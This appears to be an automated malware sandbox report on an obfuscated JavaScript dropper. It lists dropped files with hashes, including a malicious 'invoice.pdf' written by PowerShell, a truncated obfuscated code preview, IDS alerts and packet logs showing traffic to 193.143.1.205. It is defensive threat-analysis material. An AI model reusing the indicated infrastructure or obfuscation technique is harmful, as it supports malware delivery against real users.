Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d133f499-17a7-42c3-a84d-383603a38e87.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VR9WL07oXGZnYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:tR9WLxXGZnZGh3mlind9i4ufFXpAXkru
MD5:	9D85D4B75E446857CE3D750299B2AF1A
SHA1:	3CD9576D0A07B9E4454F4FF4DDF8D18EFBB764B4
SHA-256:	D3C44F50FD2912C92DAF009689B221515709E00C839A8DA425078C96F2D6053A
SHA-512:	1C63A091EF404FC446F1A789D33258FE9F6AD25C80375CADADF0829BC5DCD70A16A8E30E664D0A02F39E7A3D10B9E56AD7F9CA9D733A877726C1DD043B14842F
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15992), with CRLF line terminators
Entropy (8bit):	4.918984564147961
TrID:
File name:	21787281582160623337.js
File size:	19'408 bytes
MD5:	27558b57e81ab5dd407fcf66a363a205
SHA1:	11c5d7d75834b4203c25e847d59c20bd287d68bf
SHA256:	89adf60022c81e869b40287d61e9f7d10e57f10bbd6ff4f14e84f351f768565b
SHA512:	fe4614731035fdd3503e4cdaf859ac4393ab3f23b59459250aa0c493870b202172264d4b064b3dc3903d79aa332b9b021833d90ebc57a0537b31bfcbe3f5a0a8
SSDEEP:	384:1q5fSS70sHXeUp9iCAK+z1u+ldBdRzP/VhxdSzEAOgmATWTqhhWDFdfPFfhMM5x0:wburL0
TLSH:	3592451CC806C7A7CFC531E566AF04DB936D059FA3B00AB4294A00AEE951B7625DCEF7
File Content Preview:	function yauhcmgd(){dllved=[1031,3079,5127,4103,2055,3072];var emsqftha=this[gaxuztps+pwcpsl+vepqb+mvybjj+emizcq+nudstkyo+yjulvnuqp+ddorxzh](this[vitnafm+ssxldjzhu+jksdivm+vepqb+cbcpndpif+gaxuztps+ddorxzh][rkivyzkz+vepqb+emizcq+pwcpsl+ddorxzh+emizcq+qdvxe

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:11:31.732484+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-10T18:11:34.499073+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:11:30.914622068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:30.919955015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:30.920135021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:30.923597097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:30.928489923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.732347965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.732367039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.732417107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.732429028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.732451916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.732465029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.732475042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.732484102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.732484102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.732487917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.732521057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.732538939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.732544899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.732575893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.732614040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.737325907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.737341881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.737400055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.787461996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.787477970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.787533045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.853455067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.853467941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.853521109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.853529930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.853576899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.853621006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.853637934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.853921890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.853931904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.853965998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.854152918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.854165077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.854176044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.854187012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.854196072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.854207993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.854772091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.854783058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.854805946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.854818106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.854829073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.854851007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.854851007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.854877949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.855600119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.855640888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.855652094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.855660915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.855685949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.855714083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.855717897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.856563091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.856575012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.856622934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.914488077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.921564102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.921583891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.921644926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.963203907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.963222980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.963234901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.963279963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.974308968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.974323988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.974339008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.974390030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.974432945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.974518061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.974529028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.974569082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.974602938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.974649906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.974690914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.974762917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.974776030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.974787951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.974812031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.975132942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.975146055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.975159883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.975191116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.975224018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.975419998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.975439072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.975451946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.975462914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.975475073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.975481033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.975500107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.976083994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.976095915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.976106882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.976118088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.976130009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.976130009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.976142883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.976160049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.976161003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.976196051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.976207018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.976862907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.976876974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.976888895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.976900101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.976917982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.976927996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.976931095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.976941109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.976952076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.976978064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.977883101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.977896929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.977909088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.977919102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.977930069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.977941036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.977941990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.977955103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.977967978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.977986097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.978010893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:31.978696108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.978710890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.978724003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:31.978751898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.012598991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.012629032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.012641907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.012655973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.012672901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.012696981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.053679943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.053740978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.065294027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.084178925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.084207058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.084228039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.084240913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.084253073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.084264040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.084317923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.084543943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.084554911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.084589005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.095813990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.095840931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.095854044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.095865965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.095885992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.095925093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.095994949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.096013069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.096057892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.096146107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.096194983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.096249104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.096266031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.096277952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.096302032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.096587896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.096641064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.096643925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.096656084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.096668005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.096740007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.097068071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.097085953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.097098112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.097121954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.097127914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.097145081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.097156048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.097157001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.097167015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.097193003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.097210884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.097906113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.097959042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.097970009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.097981930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.097992897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.097994089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.098017931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.098054886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.098067999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.098104000 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.098896027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.098907948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.098918915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.098928928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.098941088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.098946095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.098952055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.098963022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.098989010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.099005938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.099668980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.099689960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.099703074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.099735022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.099750996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.099762917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.099776030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.099786997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.099797010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.099837065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.100595951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.100629091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.100641012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.100644112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.100656033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.100667953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.100678921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.100681067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.100692034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.100711107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.100737095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.101458073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.101764917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.101777077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.101788044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.101799965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.101813078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.101816893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.101824999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.101844072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.101872921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.102359056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.102370977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.102382898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.102397919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.102410078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.102410078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.102418900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.102431059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.102456093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.102475882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.103265047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.103276014 CET	80	49704	193.143.1.205	192.168.2.8
